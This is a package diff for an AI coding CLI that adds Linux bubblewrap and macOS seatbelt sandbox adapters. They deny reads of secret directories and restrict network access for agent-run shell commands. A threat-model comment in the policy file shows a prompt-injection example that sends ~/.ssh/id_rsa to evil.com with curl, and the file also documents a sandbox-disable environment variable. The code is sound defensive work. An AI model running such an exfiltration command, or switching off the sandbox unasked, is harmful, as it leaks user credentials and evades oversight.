@pugi/cli 0.1.0-beta.100 → 0.1.0-beta.101

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (32) hide show
  1. package/README.md +2 -0
  2. package/dist/core/codegraph/parser.js +574 -47
  3. package/dist/core/codegraph/queries/go.scm +57 -0
  4. package/dist/core/codegraph/queries/javascript.scm +56 -0
  5. package/dist/core/codegraph/queries/python.scm +55 -0
  6. package/dist/core/codegraph/queries/rust.scm +63 -0
  7. package/dist/core/codegraph/queries/typescript.scm +91 -0
  8. package/dist/core/codegraph/reindex.js +218 -0
  9. package/dist/core/codegraph/resolve-edges.js +107 -0
  10. package/dist/core/codegraph/watcher.js +440 -0
  11. package/dist/core/diagnostics/probes/sandbox.js +7 -12
  12. package/dist/core/engine/prompts.js +32 -0
  13. package/dist/core/eval/v1/ledger.js +83 -0
  14. package/dist/core/eval/v1/runner.js +280 -0
  15. package/dist/core/eval/v1/scoring.js +68 -0
  16. package/dist/core/eval/v1/task-loader.js +191 -0
  17. package/dist/core/eval/v1/types.js +14 -0
  18. package/dist/core/eval/v1/verifier.js +176 -0
  19. package/dist/core/eval/v1/yaml-parser.js +250 -0
  20. package/dist/core/sandboxing/adapter.js +31 -17
  21. package/dist/core/sandboxing/bubblewrap.js +209 -0
  22. package/dist/core/sandboxing/index.js +32 -3
  23. package/dist/core/sandboxing/policy.js +97 -0
  24. package/dist/core/sandboxing/seatbelt.js +69 -21
  25. package/dist/core/settings.js +31 -7
  26. package/dist/runtime/cli.js +58 -0
  27. package/dist/runtime/commands/eval-v1.js +266 -0
  28. package/dist/runtime/commands/index-cmd.js +125 -19
  29. package/dist/runtime/commands/servers-cli.js +182 -0
  30. package/dist/runtime/version.js +1 -1
  31. package/dist/tools/bash.js +187 -3
  32. package/package.json +10 -3
@@ -0,0 +1,209 @@
1
+ /**
2
+ * Linux bubblewrap sandbox adapter (Phase 1 #302).
3
+ *
4
+ * Wraps bash command execution with `bwrap` (user-namespace jail).
5
+ * Policy posture:
6
+ *
7
+ * - Workspace root bound read+write at the same path inside the
8
+ * jail so cwd resolves identically for the child.
9
+ * - System dirs (/usr, /lib, /lib64, /bin, /sbin, /etc, /opt) bound
10
+ * read-only - dev toolchains and shared libraries reachable.
11
+ * - /tmp = tmpfs (fresh per-invocation), /proc + /dev mounted so
12
+ * standard syscalls work.
13
+ * - Secret dirs from the host (~/.ssh, ~/.aws, ~/.config/gh,
14
+ * ~/.gitconfig) are NOT bound at all - they vanish from the
15
+ * child's view. The deny is structural (no mount), not advisory.
16
+ * - Network: `--share-net` only when posture=`lenient` or
17
+ * `allowNetwork=true`. Strict drops it via `--unshare-all`
18
+ * (default + no override).
19
+ *
20
+ * Detection: `bwrap` must be on PATH. We probe via `bwrap --version`
21
+ * and treat any clean exit as proof the binary is callable. Operators
22
+ * on a host without bwrap see the install hint
23
+ * (`apt install bubblewrap` / `brew install bubblewrap`).
24
+ *
25
+ * Security note: bwrap requires either CAP_SYS_ADMIN or unprivileged
26
+ * user namespaces (kernel.unprivileged_userns_clone=1). Modern
27
+ * distros (Debian 11+, Ubuntu 22.04+, Fedora 35+, Arch) enable this
28
+ * by default. When the kernel rejects the bwrap invocation, the wrap
29
+ * succeeds but the spawn fails - the bash tool surfaces the child's
30
+ * stderr verbatim so the operator sees the kernel-side reason.
31
+ */
32
+ import { execFileSync } from 'node:child_process';
33
+ import { homedir } from 'node:os';
34
+ import { isAbsolute } from 'node:path';
35
+ import { defaultSecretDirs, resolveNetworkAllowance } from './policy.js';
36
+ const BWRAP_BINARY = 'bwrap';
37
+ /**
38
+ * Install hint surfaced when bwrap is missing from PATH. We tailor
39
+ * the hint to the most common Linux package managers; macOS users
40
+ * normally select `macOS-seatbelt`, not `bubblewrap`, so we still
41
+ * mention Homebrew for completeness.
42
+ */
43
+ const BWRAP_INSTALL_HINT = 'Install bwrap: `sudo apt install bubblewrap` (Debian/Ubuntu) or ' +
44
+ '`sudo dnf install bubblewrap` (Fedora/RHEL) or `brew install bubblewrap` (macOS Homebrew).';
45
+ export class BubblewrapSandboxAdapter {
46
+ mode = 'bubblewrap';
47
+ probe(opts) {
48
+ if (process.platform !== 'linux' && process.platform !== 'darwin') {
49
+ return {
50
+ mode: 'bubblewrap',
51
+ armed: false,
52
+ reason: `bubblewrap unavailable on ${process.platform} - choose 'none', 'macOS-seatbelt', or 'docker'.`,
53
+ details: [`platform: ${process.platform}`, `expected: linux (primary) or darwin (homebrew)`],
54
+ installHint: BWRAP_INSTALL_HINT,
55
+ };
56
+ }
57
+ const bwrapPath = locateBwrap();
58
+ if (bwrapPath === null) {
59
+ return {
60
+ mode: 'bubblewrap',
61
+ armed: false,
62
+ reason: 'bwrap binary not found on PATH.',
63
+ details: [
64
+ `platform: ${process.platform}`,
65
+ `lookup: PATH`,
66
+ `remediation: install the bubblewrap package`,
67
+ ],
68
+ installHint: BWRAP_INSTALL_HINT,
69
+ };
70
+ }
71
+ return {
72
+ mode: 'bubblewrap',
73
+ armed: true,
74
+ details: [
75
+ `platform: ${process.platform}`,
76
+ `binary: ${bwrapPath}`,
77
+ `workspaceRoot: ${opts.workspaceRoot}`,
78
+ `extraWritePaths: ${(opts.extraWritePaths ?? []).join(', ') || '<none>'}`,
79
+ `posture: ${opts.posture ?? 'strict'}`,
80
+ `network: ${resolveNetworkAllowance(opts.posture, opts.allowNetwork) ? 'allow' : 'deny'}`,
81
+ ],
82
+ };
83
+ }
84
+ wrap(cmd, opts) {
85
+ const armed = this.probe(opts);
86
+ if (!armed.armed) {
87
+ throw new Error(`BubblewrapSandboxAdapter.wrap: ${armed.reason}`);
88
+ }
89
+ if (!isAbsolute(opts.workspaceRoot)) {
90
+ throw new Error(`BubblewrapSandboxAdapter.wrap: workspaceRoot must be absolute, got "${opts.workspaceRoot}"`);
91
+ }
92
+ for (const p of opts.extraWritePaths ?? []) {
93
+ if (!isAbsolute(p)) {
94
+ throw new Error(`BubblewrapSandboxAdapter.wrap: extraWritePaths entry must be absolute, got "${p}"`);
95
+ }
96
+ }
97
+ for (const p of opts.extraReadPaths ?? []) {
98
+ if (!isAbsolute(p)) {
99
+ throw new Error(`BubblewrapSandboxAdapter.wrap: extraReadPaths entry must be absolute, got "${p}"`);
100
+ }
101
+ }
102
+ const args = renderBwrapArgs(opts);
103
+ return {
104
+ command: BWRAP_BINARY,
105
+ args: [...args, '--', cmd.command, ...cmd.args],
106
+ description: `sandbox: bubblewrap (posture=${opts.posture ?? 'strict'})`,
107
+ };
108
+ }
109
+ /**
110
+ * Exposed for unit tests so the spec can pin the exact argv shape
111
+ * without driving the whole wrap path.
112
+ */
113
+ renderArgs(opts) {
114
+ return renderBwrapArgs(opts);
115
+ }
116
+ }
117
+ /**
118
+ * Compose the bwrap argv from the spawn options. Order matters:
119
+ *
120
+ * 1. Namespace flags (`--unshare-all`, optional `--share-net`).
121
+ * 2. Read-only system binds - provides /usr, /bin, /lib, etc.
122
+ * 3. /proc + /dev so syscalls work.
123
+ * 4. tmpfs at /tmp so build scratch never persists.
124
+ * 5. Read-write bind of workspaceRoot + every extraWritePath.
125
+ * 6. Read-only bind of every extraReadPath.
126
+ *
127
+ * Secret dirs are NOT bound. Because bwrap starts from a fresh mount
128
+ * namespace, anything not explicitly bound is invisible to the child.
129
+ * The `defaultSecretDirs` helper exists only for symmetry with the
130
+ * seatbelt adapter's deny rules - the documentation surface stays
131
+ * consistent across mechanisms.
132
+ */
133
+ function renderBwrapArgs(opts) {
134
+ const home = opts.homedir ?? homedir();
135
+ const networkAllowed = resolveNetworkAllowance(opts.posture, opts.allowNetwork);
136
+ const args = [];
137
+ // Namespace isolation. `--unshare-all` removes every namespace -
138
+ // pid, mount, ipc, uts, cgroup, net. We selectively re-share net
139
+ // when the policy says so. `--die-with-parent` makes sure the
140
+ // child does not outlive the bash tool's spawn() handle.
141
+ args.push('--die-with-parent');
142
+ args.push('--unshare-all');
143
+ if (networkAllowed) {
144
+ args.push('--share-net');
145
+ }
146
+ // Read-only system binds. We bind each path with `--ro-bind-try`
147
+ // so missing dirs (e.g. /lib64 on a non-multilib host) do not
148
+ // abort the wrap. The order mirrors a minimal POSIX userland.
149
+ for (const sys of ['/usr', '/bin', '/sbin', '/lib', '/lib64', '/etc', '/opt']) {
150
+ args.push('--ro-bind-try', sys, sys);
151
+ }
152
+ // /proc + /dev - required for most binaries. /dev is the bwrap
153
+ // virtual /dev (just null, zero, tty, random, urandom). /proc is
154
+ // the new namespace's proc, not the host's.
155
+ args.push('--proc', '/proc');
156
+ args.push('--dev', '/dev');
157
+ // Fresh tmpfs at /tmp every invocation. Build scratch never
158
+ // persists across runs and never leaks into the host's /tmp.
159
+ args.push('--tmpfs', '/tmp');
160
+ // Workspace bind: read + write. The bind is at the same path
161
+ // inside the jail so a relative cwd from the parent resolves
162
+ // identically inside.
163
+ args.push('--bind', opts.workspaceRoot, opts.workspaceRoot);
164
+ // Extra writable paths (typical: ~/.pugi for CLI state).
165
+ for (const writable of opts.extraWritePaths ?? []) {
166
+ args.push('--bind', writable, writable);
167
+ }
168
+ // Extra read-only paths the operator opted into.
169
+ for (const readonly of opts.extraReadPaths ?? []) {
170
+ args.push('--ro-bind-try', readonly, readonly);
171
+ }
172
+ // `defaultSecretDirs` is computed-and-ignored here. The intent is
173
+ // documentation: future operators reading this code see the same
174
+ // list the seatbelt deny block uses. The structural omission of
175
+ // these binds IS the deny - referencing the list makes that
176
+ // explicit.
177
+ void defaultSecretDirs(home);
178
+ return args;
179
+ }
180
+ /**
181
+ * Locate `bwrap` on the operator's PATH. We avoid `which` (not POSIX
182
+ * everywhere) and `command -v` (shell builtin, not spawn-friendly).
183
+ * Instead we run `bwrap --version` and treat any clean exit as proof
184
+ * the binary is callable.
185
+ */
186
+ function locateBwrap() {
187
+ try {
188
+ execFileSync(BWRAP_BINARY, ['--version'], {
189
+ stdio: ['ignore', 'ignore', 'ignore'],
190
+ timeout: 3000,
191
+ });
192
+ return BWRAP_BINARY;
193
+ }
194
+ catch (err) {
195
+ const e = err;
196
+ if (e?.code === 'ENOENT')
197
+ return null;
198
+ // Non-zero exit (e.g. bwrap with a strange host) still means the
199
+ // binary exists. We treat it as available; the wrap call will
200
+ // surface the real failure via the child's stderr.
201
+ return BWRAP_BINARY;
202
+ }
203
+ }
204
+ /**
205
+ * Convenience re-export for callers / specs that want the same hint
206
+ * string without duplicating the literal.
207
+ */
208
+ export const BUBBLEWRAP_INSTALL_HINT = BWRAP_INSTALL_HINT;
209
+ //# sourceMappingURL=bubblewrap.js.map
@@ -1,7 +1,7 @@
1
1
  /**
2
- * Sandbox adapter resolver (Trust Sprint item 6).
2
+ * Sandbox adapter resolver (Trust Sprint item 6 + Phase 1 #302).
3
3
  *
4
- * Single re-export surface so consumers (`pugi doctor`, future bash
4
+ * Single re-export surface so consumers (`pugi doctor`, the bash
5
5
  * runner indirection, MCP serve diagnostics) can do:
6
6
  *
7
7
  * import { makeAdapter, type SandboxMode } from '.../sandboxing';
@@ -10,10 +10,13 @@
10
10
  * lookup table without forcing a circular import between the
11
11
  * interface (`adapter.ts`) and the implementations.
12
12
  */
13
+ import { BubblewrapSandboxAdapter } from './bubblewrap.js';
13
14
  import { NoneSandboxAdapter } from './none.js';
14
15
  import { SeatbeltSandboxAdapter } from './seatbelt.js';
16
+ export { BubblewrapSandboxAdapter } from './bubblewrap.js';
15
17
  export { NoneSandboxAdapter } from './none.js';
16
18
  export { SeatbeltSandboxAdapter } from './seatbelt.js';
19
+ export { SANDBOX_DISABLE_ENV, defaultSecretDirs, isSandboxDisabled, resolveNetworkAllowance, } from './policy.js';
17
20
  /**
18
21
  * Resolve a sandbox adapter from a configured mode. Throws for
19
22
  * `docker` (documented but not shipped in this PR) and for unknown
@@ -25,15 +28,37 @@ export function makeAdapter(mode) {
25
28
  return new NoneSandboxAdapter();
26
29
  case 'macOS-seatbelt':
27
30
  return new SeatbeltSandboxAdapter();
31
+ case 'bubblewrap':
32
+ return new BubblewrapSandboxAdapter();
28
33
  case 'docker':
29
34
  throw new Error('bash sandbox: docker mode is documented but not yet implemented. ' +
30
- 'Use bash.sandbox = "none" or "macOS-seatbelt" until the docker adapter ships.');
35
+ 'Use bash.sandbox = "none", "macOS-seatbelt", or "bubblewrap" until the docker adapter ships.');
31
36
  default: {
32
37
  const exhaustive = mode;
33
38
  throw new Error(`bash sandbox: unknown mode "${String(exhaustive)}"`);
34
39
  }
35
40
  }
36
41
  }
42
+ /**
43
+ * Auto-detect the platform-appropriate sandbox mechanism. Returns:
44
+ *
45
+ * - `'macOS-seatbelt'` on darwin
46
+ * - `'bubblewrap'` on linux (regardless of whether bwrap is
47
+ * installed; the probe surfaces the install hint if missing)
48
+ * - `'none'` on every other platform (windows, freebsd, etc.)
49
+ *
50
+ * Callers that prefer explicit selection should read
51
+ * `.pugi/settings.json::bash.sandbox` directly. This helper exists
52
+ * for the bash tool's "no settings configured" path so the strongest
53
+ * available mechanism applies by default.
54
+ */
55
+ export function detectDefaultMode() {
56
+ if (process.platform === 'darwin')
57
+ return 'macOS-seatbelt';
58
+ if (process.platform === 'linux')
59
+ return 'bubblewrap';
60
+ return 'none';
61
+ }
37
62
  /**
38
63
  * Convenience: probe the configured mode without spawning anything.
39
64
  * Used by `pugi doctor` so the sandbox probe can report the same
@@ -44,6 +69,10 @@ export function probeSandbox(opts) {
44
69
  return adapter.probe({
45
70
  workspaceRoot: opts.workspaceRoot,
46
71
  ...(opts.extraWritePaths ? { extraWritePaths: opts.extraWritePaths } : {}),
72
+ ...(opts.extraReadPaths ? { extraReadPaths: opts.extraReadPaths } : {}),
73
+ ...(opts.posture ? { posture: opts.posture } : {}),
74
+ ...(opts.allowNetwork !== undefined ? { allowNetwork: opts.allowNetwork } : {}),
75
+ ...(opts.homedir ? { homedir: opts.homedir } : {}),
47
76
  });
48
77
  }
49
78
  //# sourceMappingURL=index.js.map
@@ -0,0 +1,97 @@
1
+ /**
2
+ * Shared sandbox policy helpers (Phase 1 #302).
3
+ *
4
+ * Pure functions so seatbelt + bubblewrap derive identical deny lists
5
+ * + network decisions from the same inputs. Tests pin these so the
6
+ * matrix (mechanism x posture x network override) cannot drift across
7
+ * adapters silently.
8
+ */
9
+ import { join } from 'node:path';
10
+ /**
11
+ * Resolve the effective network egress decision from posture +
12
+ * explicit override.
13
+ *
14
+ * - allowNetwork=true -> always allow (operator opted in).
15
+ * - allowNetwork=false -> always deny (operator opted out).
16
+ * - undefined -> posture decides:
17
+ * - lenient -> allow
18
+ * - strict -> deny (default posture)
19
+ * - off -> allow (passthrough overlay)
20
+ *
21
+ * Default posture is `strict` when omitted, so a caller that forgets
22
+ * the parameter still gets the hardened decision.
23
+ */
24
+ export function resolveNetworkAllowance(posture, allowNetwork) {
25
+ if (allowNetwork === true)
26
+ return true;
27
+ if (allowNetwork === false)
28
+ return false;
29
+ const effective = posture ?? 'strict';
30
+ switch (effective) {
31
+ case 'lenient':
32
+ return true;
33
+ case 'off':
34
+ // off = no posture overlay; mirror the legacy lenient-ish
35
+ // posture so removing the sandbox does not surprise an operator
36
+ // with a network blackout. The mechanism layer still drops the
37
+ // wrap entirely when mode=`none`.
38
+ return true;
39
+ case 'strict':
40
+ default:
41
+ return false;
42
+ }
43
+ }
44
+ /**
45
+ * Default secret-dir deny list. These paths are NEVER readable from
46
+ * inside the sandbox regardless of the broader `file-read*` allow
47
+ * (seatbelt) or are simply not bound (bubblewrap).
48
+ *
49
+ * Threat model: a prompt-injection turn that emits
50
+ * `cat ~/.ssh/id_rsa | curl -s evil.com -d @-` must fail to read the
51
+ * key, not the network call. Both layers contribute (strict mode also
52
+ * denies network), but the secret-dir rule is the structural floor
53
+ * that holds even if the operator opts into `lenient + allowNetwork`.
54
+ *
55
+ * Returns absolute paths joined against the supplied homedir so tests
56
+ * can inject a fixture HOME without touching the real environment.
57
+ */
58
+ export function defaultSecretDirs(home) {
59
+ return [
60
+ join(home, '.ssh'),
61
+ join(home, '.aws'),
62
+ join(home, '.config', 'gh'),
63
+ join(home, '.config', 'gcloud'),
64
+ join(home, '.docker'),
65
+ join(home, '.kube'),
66
+ join(home, '.netrc'),
67
+ join(home, '.npmrc'),
68
+ join(home, '.gitconfig'),
69
+ ];
70
+ }
71
+ /**
72
+ * Env var that short-circuits the sandbox wrap entirely.
73
+ *
74
+ * Operators set `PUGI_SANDBOX_DISABLE=1` for break-glass scenarios:
75
+ * debugging a build that the sandbox is interfering with, running a
76
+ * tool that needs CAP_NET_ADMIN, etc. The bash tool logs the opt-out
77
+ * to the audit trail as `sandbox_disabled_env` so SOC pipelines can
78
+ * detect prolonged disable windows.
79
+ *
80
+ * Recommended sequence for operators: `pugi doctor` -> identify the
81
+ * real failure -> fix the configuration -> drop the env var. Leaving
82
+ * `PUGI_SANDBOX_DISABLE=1` set across sessions is an anti-pattern.
83
+ */
84
+ export const SANDBOX_DISABLE_ENV = 'PUGI_SANDBOX_DISABLE';
85
+ /**
86
+ * Check whether the env var disables the wrap. Honours `1`, `true`,
87
+ * `yes` (case-insensitive) - same convention as the existing
88
+ * `PUGI_AUDIT_TRAIL_DISABLE` knob.
89
+ */
90
+ export function isSandboxDisabled(env = process.env) {
91
+ const value = env[SANDBOX_DISABLE_ENV];
92
+ if (typeof value !== 'string')
93
+ return false;
94
+ const normalised = value.trim().toLowerCase();
95
+ return normalised === '1' || normalised === 'true' || normalised === 'yes';
96
+ }
97
+ //# sourceMappingURL=policy.js.map
@@ -1,17 +1,23 @@
1
1
  /**
2
- * macOS Seatbelt sandbox adapter (Trust Sprint item 6).
2
+ * macOS Seatbelt sandbox adapter (Trust Sprint item 6 + Phase 1 #302).
3
3
  *
4
4
  * Wraps bash command execution with `/usr/bin/sandbox-exec` and a
5
5
  * dynamically-generated profile. Policy posture:
6
6
  *
7
- * - Reads ANYWHERE (so `node_modules` lookups, system headers,
8
- * package indices etc all keep working).
7
+ * - Reads ANYWHERE by default (so `node_modules` lookups, system
8
+ * headers, package indices etc all keep working). The Phase 1
9
+ * #302 overlay adds a hard deny for secret dirs (~/.ssh, ~/.aws,
10
+ * ~/.config/gh, ~/.gitconfig, etc) so prompt-injection cannot
11
+ * exfiltrate credentials even when network egress is allowed.
9
12
  * - Writes ALLOWED under: workspaceRoot, ~/.pugi/, and any
10
13
  * additional paths the caller explicitly passes (typical: /tmp,
11
14
  * plus the resolved pnpm cache dir if it lives outside ~/.pugi).
12
15
  * - Process execution ALLOWED (we need to spawn child binaries to
13
16
  * run pnpm / git / etc).
14
- * - Network egress ALLOWED (npm install, git fetch, web fetch).
17
+ * - Network egress posture-conditional: `lenient` allows, `strict`
18
+ * (default) drops the rule. Operators that need network on
19
+ * strict-mode sandboxes flip `sandbox.allowNetwork = true` in
20
+ * settings.json without changing posture.
15
21
  *
16
22
  * Profile is rendered to a tmp file per `wrap()` call. The temp file
17
23
  * lives in OS tmpdir with mode 0o600. We do NOT cache the profile
@@ -21,20 +27,22 @@
21
27
  * Cancel-cleanup: profile temp files are written with the process
22
28
  * pid + random suffix so concurrent calls don't collide. We leave
23
29
  * cleanup to the kernel's tmp reaper rather than tracking handles
24
- * inside the adapter adding ref-counting would couple the sandbox
30
+ * inside the adapter; adding ref-counting would couple the sandbox
25
31
  * lifecycle to the bash runner and `pugi mcp serve`, both of which
26
32
  * are owned by other agents.
27
33
  *
28
34
  * Security note: sandbox-exec's profile language is best-effort. It
29
35
  * is not a kernel-enforced jail. The intent here is to catch
30
36
  * accidental writes outside the workspace (e.g. a renamed test that
31
- * accidentally writes to $HOME), not to harden against a determined
32
- * attacker who controls the spawned binary.
37
+ * accidentally writes to $HOME) AND to deny prompt-injection-driven
38
+ * secret-dir reads. It does not harden against a determined attacker
39
+ * who controls the spawned binary.
33
40
  */
34
41
  import { execFileSync } from 'node:child_process';
35
42
  import { mkdtempSync, writeFileSync } from 'node:fs';
36
- import { tmpdir } from 'node:os';
43
+ import { homedir, tmpdir } from 'node:os';
37
44
  import { isAbsolute, join } from 'node:path';
45
+ import { defaultSecretDirs, resolveNetworkAllowance } from './policy.js';
38
46
  const SANDBOX_EXEC_PATH = '/usr/bin/sandbox-exec';
39
47
  export class SeatbeltSandboxAdapter {
40
48
  mode = 'macOS-seatbelt';
@@ -43,8 +51,10 @@ export class SeatbeltSandboxAdapter {
43
51
  return {
44
52
  mode: 'macOS-seatbelt',
45
53
  armed: false,
46
- reason: `macOS-seatbelt unavailable on ${process.platform} choose 'none' or 'docker'.`,
54
+ reason: `macOS-seatbelt unavailable on ${process.platform} - choose 'none', 'bubblewrap', or 'docker'.`,
47
55
  details: [`platform: ${process.platform}`, `expected: darwin`],
56
+ installHint: 'On Linux use `bash.sandbox = "bubblewrap"` (install via `sudo apt install bubblewrap`). ' +
57
+ 'On Windows use mode `docker` (not shipped yet) or `none`.',
48
58
  };
49
59
  }
50
60
  if (!sandboxExecBinaryAvailable()) {
@@ -56,6 +66,8 @@ export class SeatbeltSandboxAdapter {
56
66
  `binary: ${SANDBOX_EXEC_PATH}`,
57
67
  'remediation: verify Apple has not deprecated the binary on this macOS major.',
58
68
  ],
69
+ installHint: '`sandbox-exec` ships with macOS by default; if missing, the macOS install is incomplete. ' +
70
+ 'Switch `bash.sandbox` to "none" until the binary is restored.',
59
71
  };
60
72
  }
61
73
  return {
@@ -66,6 +78,8 @@ export class SeatbeltSandboxAdapter {
66
78
  `binary: ${SANDBOX_EXEC_PATH}`,
67
79
  `workspaceRoot: ${opts.workspaceRoot}`,
68
80
  `extraWritePaths: ${(opts.extraWritePaths ?? []).join(', ') || '<none>'}`,
81
+ `posture: ${opts.posture ?? 'strict'}`,
82
+ `network: ${resolveNetworkAllowance(opts.posture, opts.allowNetwork) ? 'allow' : 'deny'}`,
69
83
  ],
70
84
  };
71
85
  }
@@ -82,11 +96,16 @@ export class SeatbeltSandboxAdapter {
82
96
  throw new Error(`SeatbeltSandboxAdapter.wrap: extraWritePaths entry must be absolute, got "${p}"`);
83
97
  }
84
98
  }
99
+ for (const p of opts.extraReadPaths ?? []) {
100
+ if (!isAbsolute(p)) {
101
+ throw new Error(`SeatbeltSandboxAdapter.wrap: extraReadPaths entry must be absolute, got "${p}"`);
102
+ }
103
+ }
85
104
  const profilePath = writeProfileFile(opts);
86
105
  return {
87
106
  command: SANDBOX_EXEC_PATH,
88
107
  args: ['-f', profilePath, cmd.command, ...cmd.args],
89
- description: `sandbox: macOS-seatbelt (profile=${profilePath})`,
108
+ description: `sandbox: macOS-seatbelt (profile=${profilePath}, posture=${opts.posture ?? 'strict'})`,
90
109
  };
91
110
  }
92
111
  /**
@@ -111,8 +130,8 @@ function sandboxExecBinaryAvailable() {
111
130
  }
112
131
  catch (err) {
113
132
  const e = err;
114
- // ENOENT means the binary itself is missing. A non-zero exit code
115
- // (sandbox-exec usage banner) is success for our purposes.
133
+ // ENOENT means the binary itself is missing. A non-zero exit
134
+ // code (sandbox-exec usage banner) is success for our purposes.
116
135
  if (e?.code === 'ENOENT')
117
136
  return false;
118
137
  return true;
@@ -128,12 +147,19 @@ function writeProfileFile(opts) {
128
147
  /**
129
148
  * Generate the Seatbelt profile. Keep the language tight:
130
149
  *
131
- * - (version 1) required header.
132
- * - (deny default) start from no permissions.
133
- * - (allow process*) allow spawning child processes.
134
- * - (allow file-read*) reads unrestricted.
135
- * - (allow file-write* (subpath "...")) writes scoped.
136
- * - (allow network*) egress unrestricted.
150
+ * - (version 1) - required header.
151
+ * - (deny default) - start from no permissions.
152
+ * - (allow process*) - allow spawning child processes.
153
+ * - (allow file-read*) - reads unrestricted by default.
154
+ * - (deny file-read* secret-dirs) - overlay secret-dir denies on
155
+ * top of the broad allow. Sandbox-exec applies subsequent deny
156
+ * rules even after a broad allow, so this is the structural
157
+ * floor that holds for both `lenient` and `strict` postures.
158
+ * - (allow file-write* (subpath "...")) - writes scoped to
159
+ * workspace + extras only.
160
+ * - (allow network*) - egress posture-conditional. `strict` drops
161
+ * the rule entirely; `lenient` keeps the upstream-compatible
162
+ * blanket allow.
137
163
  * - (allow signal) + sysctl-read for normal node operation.
138
164
  */
139
165
  function renderProfile(opts) {
@@ -148,7 +174,21 @@ function renderProfile(opts) {
148
174
  const deviceRules = devicePaths
149
175
  .map((p) => ` (literal ${quoteForSeatbelt(p)})`)
150
176
  .join('\n');
151
- return [
177
+ // Secret-dir deny overlay. Derived from the shared policy module
178
+ // so seatbelt + bubblewrap stay in lockstep on the threat model.
179
+ const home = opts.homedir ?? homedir();
180
+ const secretDirs = defaultSecretDirs(home);
181
+ const secretDenyRules = secretDirs
182
+ .map((p) => ` (subpath ${quoteForSeatbelt(p)})`)
183
+ .join('\n');
184
+ // Posture-conditional network rule. Default posture is `strict`
185
+ // because forgetting the parameter must not silently re-open
186
+ // egress.
187
+ const networkAllowed = resolveNetworkAllowance(opts.posture, opts.allowNetwork);
188
+ const networkRule = networkAllowed
189
+ ? '(allow network*)'
190
+ : '; network egress denied (posture=strict, allowNetwork=false)';
191
+ const lines = [
152
192
  '(version 1)',
153
193
  '(deny default)',
154
194
  '(allow process-exec)',
@@ -156,17 +196,25 @@ function renderProfile(opts) {
156
196
  '(allow signal (target self))',
157
197
  '(allow sysctl-read)',
158
198
  '(allow file-read*)',
199
+ // Hard deny secret dirs even after the broad file-read* allow.
200
+ '(deny file-read*',
201
+ secretDenyRules,
202
+ ')',
203
+ '(deny file-write*',
204
+ secretDenyRules,
205
+ ')',
159
206
  '(allow file-write*',
160
207
  writeRules,
161
208
  ')',
162
209
  '(allow file-write*',
163
210
  deviceRules,
164
211
  ')',
165
- '(allow network*)',
212
+ networkRule,
166
213
  '(allow mach-lookup)',
167
214
  '(allow ipc-posix-shm)',
168
215
  '',
169
- ].join('\n');
216
+ ];
217
+ return lines.join('\n');
170
218
  }
171
219
  /**
172
220
  * Seatbelt profile string literals use TCL-style double-quoted
@@ -235,15 +235,19 @@ const pugiSettingsSchema = z.object({
235
235
  cleanupPeriodDays: z.number().int().min(0).max(365).optional(),
236
236
  })
237
237
  .optional(),
238
- // Trust Sprint item 6 — bash sandbox adapter selection.
238
+ // Trust Sprint item 6 + Phase 1 #302 — bash sandbox adapter selection.
239
239
  //
240
- // `none` — passthrough (existing behaviour, default).
240
+ // `none` — passthrough (legacy behaviour, default).
241
241
  // `macOS-seatbelt` — wraps spawn calls in `/usr/bin/sandbox-exec`
242
- // with a profile that allows reads anywhere,
242
+ // with a profile that allows reads anywhere
243
+ // EXCEPT secret dirs (~/.ssh, ~/.aws, etc),
243
244
  // denies writes outside workspace + ~/.pugi,
244
- // and permits standard network egress so
245
- // `npm install` / `git fetch` still work.
246
- // `docker` — Linux fallback (NOT shipped in this PR;
245
+ // and gates network egress by posture.
246
+ // `bubblewrap` Linux `bwrap` user-namespace jail. Workspace
247
+ // bound read+write, /usr+/lib read-only, /tmp
248
+ // tmpfs, secret dirs structurally absent.
249
+ // Posture toggles `--share-net`.
250
+ // `docker` — Windows fallback (NOT shipped in this PR;
247
251
  // accepted in the schema so settings.json
248
252
  // does not error when operators forward-look
249
253
  // at the keyword. Adapter throws at boot if
@@ -254,7 +258,27 @@ const pugiSettingsSchema = z.object({
254
258
  // what a tool CAN do; the classifier bounds what a tool TRIES.
255
259
  bash: z
256
260
  .object({
257
- sandbox: z.enum(['none', 'macOS-seatbelt', 'docker']).optional(),
261
+ sandbox: z.enum(['none', 'macOS-seatbelt', 'bubblewrap', 'docker']).optional(),
262
+ })
263
+ .optional(),
264
+ // Phase 1 #302 — posture overlay independent of mechanism. The
265
+ // mechanism (above, `bash.sandbox`) selects the OS primitive;
266
+ // posture controls how strict the policy on top is. Keep them
267
+ // orthogonal so an operator can pick `bubblewrap + lenient` to ship
268
+ // network access on Linux without losing the secret-dir deny.
269
+ //
270
+ // posture — strict (default) | lenient | off.
271
+ // allowNetwork — explicit override; flips posture's network
272
+ // decision without changing posture itself.
273
+ // extraReadPaths — absolute paths that bypass the default
274
+ // secret-dir deny list. Used когда an operator
275
+ // legitimately needs to read e.g. ~/.npmrc from
276
+ // inside the sandbox для package publish.
277
+ sandbox: z
278
+ .object({
279
+ posture: z.enum(['off', 'lenient', 'strict']).optional(),
280
+ allowNetwork: z.boolean().optional(),
281
+ extraReadPaths: z.array(z.string()).optional(),
258
282
  })
259
283
  .optional(),
260
284
  });